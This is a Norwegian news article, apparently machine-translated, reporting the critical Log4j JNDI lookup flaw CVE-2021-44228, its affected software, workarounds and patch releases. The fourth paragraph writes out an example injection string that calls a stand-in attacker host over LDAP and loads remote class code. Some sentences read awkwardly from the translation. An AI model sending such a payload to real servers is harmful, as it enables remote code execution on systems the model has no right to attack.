Katastrofal sårbarhet i Apache Log4j som påvirker mange Java-prosjekter

I Apache Log4j, et populært rammeverk for organisering av logging i Java-applikasjoner, er det identifisert en kritisk sårbarhet som gjør at vilkårlig kode kan kjøres når en spesielt formatert verdi i «{jndi:URL}»-formatet skrives til loggen. Angrepet kan utføres på Java-applikasjoner som logger verdier mottatt fra eksterne kilder, for eksempel ved visning av problematiske verdier i feilmeldinger.

Det bemerkes at nesten alle prosjekter som bruker rammeverk som Apache Struts, Apache Solr, Apache Druid eller Apache Flink er berørt av problemet, inkludert Steam, Apple iCloud, Minecraft-klienter og -servere. Det forventes at sårbarheten kan føre til en bølge av massive angrep på bedriftsapplikasjoner, som gjentar historien om kritiske sårbarheter i Apache Struts-rammeverket, som ifølge et grovt estimat brukes i webapplikasjoner av 65 % av Fortune 100 selskaper Inkludert forsøk på å skanne nettverket for sårbare systemer.

Problemet forverres av det faktum at en fungerende utnyttelse allerede er publisert, men rettelser for de stabile grenene er ennå ikke kompilert. CVE-identifikatoren er ennå ikke tildelt. Rettelsen er bare inkludert i log4j-2.15.0-rc1 testgrenen. Som en løsning for å blokkere sikkerhetsproblemet, anbefales det å sette log4j2.formatMsgNoLookups-parameteren til true.

Problemet ble forårsaket av log4js støtte for behandling av spesielle masker "{}" i logglinjer, som kunne brukes til å utføre JNDI-spørringer (Java Naming and Directory Interface). Angrepet koker ned til å sende en streng med substitusjonen "${jndi:ldap://attacker.com/a}", som log4j vil sende når den behandles serveren attacker.com LDAP-spørring for Java-klassebane. Returnert server Angriperens sti (f.eks. http://second-stage.attacker.com/Exploit.class) vil bli lastet inn og utført i konteksten av den gjeldende prosessen, slik at angriperen kan utføre vilkårlig kode på systemet med rettighetene til den gjeldende applikasjonen.

Tillegg 1: Sårbarheten har blitt tildelt identifikatoren CVE-2021-44228.

Tillegg 2: En måte å omgå beskyttelsen lagt til ved utgivelsen log4j-2.15.0-rc1 er identifisert. En ny oppdatering, log4j-2.15.0-rc2, er foreslått med mer fullstendig beskyttelse mot sårbarheten. Koden fremhever endringen knyttet til fraværet av en unormal avslutning ved bruk av en feilformatert JNDI-URL.

Kilde: opennet.ru

Kjøp pålitelig hosting for nettsteder med DDoS-beskyttelse, VPS VDS-servere 🔥 Kjøp pålitelig webhotell med DDoS-beskyttelse, VPS VDS-servere | ProHoster